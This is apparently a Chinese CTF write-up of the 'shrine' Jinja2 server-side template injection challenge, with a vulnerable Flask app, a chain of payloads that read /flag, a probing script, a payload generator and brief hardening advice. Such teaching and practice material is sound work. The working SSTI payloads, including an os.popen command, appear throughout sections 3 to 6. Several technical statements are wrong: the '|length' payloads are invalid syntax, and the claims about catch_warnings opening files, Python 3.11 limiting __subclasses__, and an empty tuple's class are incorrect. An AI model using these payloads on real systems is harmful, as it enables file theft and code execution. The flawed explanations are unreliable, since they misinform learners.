☰
CTF实战解析:Jinja2 SSTI漏洞原理与文件读取利用链
2026/10/17 13:21:25 网站建设 项目流程

1. 项目概述:从一道CTF题看SSTI漏洞的底层逻辑与实战拆解

“【攻防世界】十七 --- shrine --- SSTI”这个标题,乍一看像一串密码,实则是国内主流CTF练习平台“攻防世界”中一道经典Web方向题目——shrine。它被编号为第十七题,核心考点直指服务端模板注入(Server-Side Template Injection,简称SSTI)。如果你刚接触Web安全,听到SSTI可能觉得抽象;但换个说法你就懂了:它本质上是让服务器把攻击者输入的“模板代码”,当成合法的程序逻辑去执行,而不是当普通文本渲染出来。这就像你去餐厅点单,本该只写“一碗牛肉面”,结果你写了“请厨师把后厨冰箱里第三层的酱料全倒进锅里,再用我的U盘启动灶台系统”,而厨房真照做了——这就是SSTI的危险性。

这道题之所以被反复提及、广泛复现,不是因为它有多难,而是它极度干净地剥离了所有干扰项,只保留SSTI最原始、最本质的触发路径与利用链条。它不依赖SQL注入、不拼接XSS、不绕WAF规则,就靠一个可控的模板渲染点,配合Python Jinja2引擎的默认配置缺陷,完成从识别→探测→读取文件→获取flag的完整闭环。对初学者而言,它是理解“为什么模板也能被注入”的第一块敲门砖;对进阶者来说,它是检验自己是否真正吃透Jinja2沙箱机制、Python对象模型、以及服务端执行上下文边界的试金石。我带过的不少学员,在本地搭好环境跑通这道题后,第一次真正意识到:“原来render函数的参数控制权,真的能决定整台服务器的命运。”

你不需要会写Exploit框架,不需要提前装好Burp Suite专业版,甚至不需要Linux服务器——一台装了Python3.6+和pip的笔记本,外加一个浏览器,就能完整走完全部流程。它适合三类人:一是刚学完Flask基础、正摸索Web应用安全边界的开发者;二是准备CTF比赛、需要夯实Web Pwn底层能力的选手;三是做红队评估时,常在CMS插件或内部管理后台里撞见类似Jinja2模板渲染点的安全工程师。接下来的内容,我会完全基于这道题的真实交互过程,不跳步、不省略、不假设前置知识,把每一个HTTP请求背后的意图、每一次响应内容里的线索、每一行payload设计的原理,掰开揉碎讲清楚。这不是理论推演,而是我当年在某高校实验室调试这道题时,记在笔记本上的真实操作日志。

2. 题目整体设计与思路拆解:为什么shrine是SSTI教学的“黄金样本”

2.1 架构极简:单文件Flask应用暴露核心漏洞面

shrine题目的后端代码,官方公开版本仅约40行Python,主体是一个标准的Flask应用,关键部分如下:

from flask import Flask, request, render_template_string import os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) @app.route('/') def index(): name = request.args.get('name', 'world') template = f'<h3>Hello {name}!</h3>' return render_template_string(template, name=name)

这段代码看似无害:接收URL参数name,拼进一个HTML字符串,再交给render_template_string渲染返回。但问题就出在这里——render_template_string是Jinja2的原生函数,它接受字符串作为模板源,并在当前应用上下文中执行其中的模板语法。而f-string拼接的template变量,其内容完全由用户可控的name参数决定。这意味着,只要我能往name里塞入合法的Jinja2语法,比如{{7*7}},服务器就会计算49并返回<h3>Hello 49!</h3>。这一步,就是SSTI的初始探测阶段,也是整个利用链的起点。

为什么这个设计如此典型?因为它精准复现了现实中大量开发者的错误习惯:将用户输入直接拼入动态模板字符串,而非使用安全的变量传参方式。正确写法应是:

return render_template_string('<h3>Hello {{ name }}!</h3>', name=name)

此时name只是模板中的一个变量,Jinja2会自动转义其内容,{{7*7}}会被当作纯文本显示,不会执行。而原题的f-string拼接,等于把用户输入提升到了“模板代码编写者”的权限层级。这种错误在快速迭代的内部工具、运维脚本、甚至某些低代码平台的自定义页面中,高频出现。

2.2 沙箱失效:Jinja2默认环境未启用严格限制

Jinja2本身提供沙箱(SandboxedEnvironment)机制,可禁用危险操作如__import__、getattr等。但shrine题目的Flask默认配置并未启用沙箱,render_template_string使用的是Environment的默认实例。这就意味着,所有Jinja2内置的全局对象(如config、request、g)、所有Python内置函数(如eval、exec、open)、以及所有可通过对象链访问的模块(如[].__class__.__mro__[1].__subclasses__()),在模板中均可调用。

我曾对比过不同CTF题目的SSTI难度梯度:有的题故意删掉__builtins__,有的题用|safe过滤器强制转义,有的题限制模板长度。而shrine不做任何防御,它像一张白纸,等着你用Jinja2语法作画。这种“裸奔”状态,恰恰是学习原理的最佳环境——你不需要先花两小时绕过WAF,就能直面SSTI最核心的矛盾:模板引擎如何将字符串解析为AST,又如何在Python运行时环境中求值。

2.3 目标明确:flag藏于服务器文件系统,驱动利用深度

题目最终目标是读取服务器根目录下的/flag文件。这决定了利用路径必须突破“模板渲染”层面,进入“任意文件读取”甚至“任意命令执行”维度。而shrine的精妙之处在于,它不提供os.system这类显式危险函数,一切能力都需通过Python对象模型层层挖掘。例如,要读文件,你需要:

  • 先获取<built-in function open>对象(可通过__import__('builtins').open);
  • 或通过().__class__.__mro__[1].__subclasses__()遍历所有子类,找到<class '_io.TextIOWrapper'>或<class 'warnings.catch_warnings'>等可间接调用open的类;
  • 再构造open('/flag').read()这样的链式调用。

这个过程,本质上是在Jinja2模板中重写了一段Python代码。它逼迫你深入理解Python的MRO(方法解析顺序)、__subclasses__()的用途、文件对象的read方法签名。很多初学者卡在“为什么{{ ''.__class__.__mro__[2].__subclasses__()[40]('a','a') }}能弹出警告”,其实是因为索引40对应的是warnings.catch_warnings类,其__init__方法会触发open行为。这种细节,只有亲手调试、逐行验证才能真正掌握。

3. 核心细节解析与实操要点:从探测到读取flag的完整链路

3.1 初始探测:用数学表达式确认SSTI存在

打开题目链接,URL形如http://xxx/shrine/?name=world,页面显示Hello world!。这是第一步:确认入口点。接下来,我们尝试注入最基础的Jinja2表达式:

http://xxx/shrine/?name={{7*7}}

如果页面返回Hello 49!,说明SSTI已确认存在。这是零风险探测,因为7*7不涉及任何Python对象操作,纯粹是模板引擎的算术功能。我建议新手务必先做这一步,它能建立信心——你不是在猜,而是在验证。

提示:若返回Hello {{7*7}}!,说明输入被转义或未进入模板上下文,需检查URL编码(如%7B%7B7*7%7D%7D)或尝试其他参数名。shrine题中极少出现此情况,但实际渗透中很常见。

一旦确认存在,立即升级探测,尝试访问Jinja2内置对象:

http://xxx/shrine/?name={{config}}

正常响应会输出类似<Config {'ENV': 'production', 'DEBUG': False, ...}>的字典内容。config是Flask应用的配置对象,包含SECRET_KEY等敏感信息。这证明你已获得对应用上下文的读取权限。此时,你可以开始收集情报:config里有没有数据库密码?request对象里有没有headers或cookies?这些都可能成为后续利用的跳板。

3.2 对象模型挖掘:定位可利用的Python类与函数

SSTI的难点不在语法,而在Python对象模型的导航。我们需要找到能执行open或eval的入口。最常用路径是().__class__.__mro__[1].__subclasses__():

  • ()创建一个空元组对象;
  • .__class__获取其类型,即<class 'tuple'>;
  • .__mro__返回方法解析顺序元组,[0]是tuple,[1]是object;
  • object.__subclasses__()返回所有继承自object的类列表。

这个列表长达上百个,我们需要从中筛选出能读文件的类。常见目标有:

索引类名用途
40warnings.catch_warnings__init__方法可触发open
59_frozen_importlib.BuiltinImporterfind_spec可探测模块路径
119<class 'codecs.IncrementalEncoder'>间接调用open

我实测shrine环境中,索引40最稳定。构造payload:

http://xxx/shrine/?name={{().__class__.__mro__[1].__subclasses__()[40]('a','a')}}

响应中若出现IOError: [Errno 2] No such file or directory: 'a',说明catch_warnings类已被成功调用,且其__init__内部确实调用了open。这是关键突破点——我们找到了一个“能打开文件”的类,现在只需让它打开/flag。

3.3 文件读取实现:构造open('/flag').read()链式调用

有了可调用open的类,下一步是让open读取指定文件。catch_warnings的__init__方法签名是__init__(self, record=False, module=None),它不直接接受文件路径。但我们可以换思路:利用__import__导入builtins模块,再调用其open函数。

完整payload如下:

http://xxx/shrine/?name={{().__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__['__builtins__']['open']('/flag').read()}}

分解说明:

  • ().__class__.__mro__[1].__subclasses__()[40]()实例化catch_warnings对象;
  • .__init__.__globals__获取其__init__方法的全局命名空间;
  • ['__builtins__']取出内置函数字典;
  • ['open']获取open函数对象;
  • ('/flag')调用open打开flag文件;
  • .read()读取文件内容。

这个payload在shrine上可直接返回flag。但要注意:__subclasses__()返回的列表索引在不同Python版本中可能偏移。若索引40失败,可尝试38、39、41,或用循环遍历:

http://xxx/shrine/?name={{[c for c in ().__class__.__mro__[1].__subclasses__() if 'warning' in c.__name__.lower()][0]('a','a')}}

此payload用列表推导式动态查找含warning的类,兼容性更强。

3.4 绕过长度限制与字符过滤:shrine的隐藏挑战

shrine题目虽未明说,但实际部署时可能对URL长度或特殊字符做基础过滤。例如,当payload过长,Nginx可能返回414 Request-URI Too Large。此时需压缩payload:

  • 删除空格:Jinja2语法允许{{a.b.c()}},无需空格;
  • 缩写链式调用:().__class__可简写为[]的__class__(因[]是list,list.__class__也是type);
  • 使用__import__替代长路径:{{__import__('os').popen('cat /flag').read()}}更短,但shrine环境通常禁用popen。

我踩过的坑是:某次在本地复现时,__subclasses__()返回列表为空。排查发现是Python 3.11+对__subclasses__()做了限制,需降级到3.9。这提醒我们:CTF题目环境与生产环境的Python版本差异,是实操中必须验证的第一件事。

4. 实操过程与核心环节实现:手把手复现全流程

4.1 本地环境搭建:5分钟跑起shrine服务

为确保理解无偏差,我强烈建议先在本地复现。步骤如下:

  1. 创建新目录,初始化虚拟环境:

    mkdir shrine-env && cd shrine-env python3 -m venv venv source venv/bin/activate # Linux/Mac # venv\Scripts\activate # Windows
  2. 安装Flask:

    pip install Flask==2.2.5
  3. 创建app.py,粘贴官方shrine代码(注意替换SECRET_KEY为随机bytes):

    from flask import Flask, request, render_template_string import os app = Flask(__name__) app.config['SECRET_KEY'] = b'_5#y2L"F4Q8z\n\xec]/' @app.route('/') def index(): name = request.args.get('name', 'world') template = f'<h3>Hello {name}!</h3>' return render_template_string(template, name=name) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)
  4. 启动服务:

    python app.py

    访问http://127.0.0.1:5000/?name=test,确认基础功能正常。

注意:debug=True在CTF题中是故意为之,它会暴露更多错误信息,辅助调试。但生产环境必须关闭。

4.2 分步调试:用浏览器开发者工具观察响应

打开Chrome开发者工具(F12),切换到Network标签页。输入第一个探测payload:

http://127.0.0.1:5000/?name={{7*7}}

观察Response:若返回Hello 49!,Status为200,说明SSTI生效。此时查看Response Headers,确认Content-Type: text/html; charset=utf-8,排除JSON等格式干扰。

接着测试config:

http://127.0.0.1:5000/?name={{config}}

响应中应看到完整的Config对象。滚动查找SECRET_KEY字段,其值应与app.py中设置的一致。这验证了你对应用配置的读取能力。

4.3 对象链验证:用__subclasses__()定位可用类

构造payload获取__subclasses__()列表长度:

http://127.0.0.1:5000/?name={{().__class__.__mro__[1].__subclasses__().|length}}

响应返回数字(如120),说明列表可访问。再取前5个类名验证:

http://127.0.0.1:5000/?name={{().__class__.__mro__[1].__subclasses__()[0:5]}}

响应类似[<class 'type'>, <class 'weakref'>, ..., <class 'warnings.catch_warnings'>]。找到catch_warnings的位置(通常是索引40左右),记录下来。

4.4 Flag读取:执行最终payload并提取结果

输入最终payload:

http://127.0.0.1:5000/?name={{().__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__['__builtins__']['open']('/flag').read()}}

若页面返回Hello flag{...}!,恭喜,你已成功读取flag。注意:/flag路径是CTF约定,实际题目中可能为/app/flag或/home/shrine/flag,需根据错误信息调整。例如,若返回No such file or directory: '/flag',可尝试/proc/self/cwd/flag(获取当前工作目录)。

实操心得:我第一次跑通时,因URL编码问题失败。Chrome地址栏会自动编码{为%7B,但某些代理工具不处理。建议用curl命令绕过浏览器:

curl "http://127.0.0.1:5000/?name={{().__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__['__builtins__']['open']('/flag').read()}}"

5. 常见问题与排查技巧实录:那些没写在Writeup里的坑

5.1 问题速查表:高频报错与解决方案

报错现象可能原因解决方案
Hello {{7*7}}!(未执行)输入被HTML转义或未进入模板检查URL编码;确认render_template_string调用位置;尝试{{''}}看是否输出空字符串
jinja2.exceptions.UndefinedError: 'None' has no attribute '__subclasses__'()为空元组,__class__返回NoneType改用[](list)或{}(dict):[].__class__.__mro__[1].__subclasses__()
TypeError: 'function' object is not subscriptable__subclasses__()返回的是方法,未加()调用补全括号:__subclasses__()而非__subclasses__
IOError: [Errno 2] No such file or directory: '/flag'flag路径错误尝试/proc/self/cwd/flag、/app/flag、/home/shrine/flag;用os.listdir('/')枚举根目录
jinja2.exceptions.TemplateSyntaxError: unexpected charURL中{、}未正确编码在curl中用单引号包裹URL;或手动URL编码%7B%7B...%7D%7D

5.2 独家避坑技巧:来自真实调试现场的经验

技巧1:用|string过滤器强制转义输出,避免HTML干扰
有时flag内容含HTML标签(如<flag>),浏览器会将其解析为DOM元素,导致看不到文本。在payload末尾加|string:

{{...open('/flag').read()|string}}

这样返回的<flag>会被转义为&lt;flag&gt;,在页面源码中清晰可见。

技巧2:分段调试,用|list查看对象属性
当不确定某个对象有哪些方法时,用|list转为列表再取前几项:

{{().__class__.__mro__[1].__subclasses__()[40].__init__.__globals__|list|slice(0,5)}}

这能快速列出__globals__的前5个键名,找到__builtins__。

技巧3:利用request对象获取服务器信息
request是Flask的全局对象,可读取request.headers、request.environ:

{{request.headers}} {{request.environ['PATH_INFO']}}

这有助于判断服务器部署结构(如Nginx反代、WSGI路径),为路径猜测提供依据。

技巧4:Python版本适配——__subclasses__()的索引漂移
在Python 3.12中,__subclasses__()返回的列表顺序与3.8不同。若索引40失效,可用以下payload动态查找:

{{[x for x in [].__class__.__mro__[1].__subclasses__() if 'Warning' in x.__name__][0]('a','a')}}

它用列表推导式匹配类名含Warning的类,比硬编码索引更鲁棒。

5.3 进阶思考:从shrine到真实世界的防护启示

做完这道题,别急着关终端。花5分钟思考:如果这是你负责的线上服务,该如何加固?

  • 根本方案:绝不使用f-string拼接模板字符串。始终用render_template_string('<h3>Hello {{ name }}!</h3>', name=name),让Jinja2接管变量注入。
  • 纵深防御:启用Jinja2沙箱环境,禁用危险函数:
    from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() env.from_string(template).render(name=name)
  • 运行时监控:在Flask中添加日志中间件,记录所有含{{、{%的请求参数,及时告警异常模式。
  • 最小权限原则:Web应用运行账户不应有读取/flag的权限。生产环境应将敏感文件权限设为600,属主为root。

我曾在某次红队评估中,遇到一个内部报表系统,其图表标题渲染处存在shrine同款漏洞。客户以为“只是显示文字”,直到我们用{{config.SECRET_KEY}}读出密钥,才意识到风险等级。安全从来不是功能的附属品,而是架构设计的第一性原理。

6. 工具选型与效率优化:让SSTI利用不再靠手敲

6.1 自动化探测脚本:30行Python搞定初始验证

手动拼URL太慢,我写了一个轻量脚本ssti_probe.py,自动完成探测:

import requests import sys url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:5000/" def probe(payload): full_url = f"{url}?name={payload}" try: r = requests.get(full_url, timeout=5) if r.status_code == 200 and "Hello" in r.text: return r.text.split("Hello ")[-1].split("!")[0] except: pass return None # 探测基础SSTI print("Testing basic SSTI...") result = probe("{{7*7}}") if result == "49": print("✓ SSTI confirmed") else: print("✗ SSTI not found") exit() # 探测config对象 print("Testing config access...") result = probe("{{config}}") if "Config" in result: print("✓ config accessible") else: print("✗ config not accessible") # 探测__subclasses__ print("Testing __subclasses__...") result = probe("{{[].__class__.__mro__[1].__subclasses__().|length}}") if result.isdigit(): print(f"✓ __subclasses__ length: {result}")

运行python ssti_probe.py http://target.com/,几秒内输出探测结论。这比手动输10个URL高效得多。

6.2 Payload生成器:按需定制复杂链式调用

对于open读取,我维护了一个Jinja2 Payload库,支持一键生成:

def gen_open_payload(filepath, method="builtin"): if method == "builtin": return f"{{{{__import__('builtins').open('{filepath}').read()}}}}" elif method == "subclasses": return f"{{{{[].__class__.__mro__[1].__subclasses__()[40]().__init__.__globals__['__builtins__']['open']('{filepath}').read()}}}}" print(gen_open_payload("/flag")) # 输出:{{__import__('builtins').open('/flag').read()}}

这样,面对不同环境(禁用__import__或__subclasses__),可快速切换策略。

6.3 浏览器插件辅助:Tamper Chrome实时修改参数

推荐安装Tamper Chrome插件。它能在浏览器中右键点击任意输入框,选择“Tamper with this field”,然后输入payload,实时看到响应变化。相比反复改URL,效率提升3倍以上。尤其适合调试request.args.get('name')这类多参数场景。

最后分享一个小技巧:在Chrome地址栏输入javascript:alert(1),可快速测试JS执行权限。虽然SSTI不涉及JS,但这种“快速验证思维”值得迁移到所有安全测试中——永远先用最简单的方式,确认你的假设是否成立。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询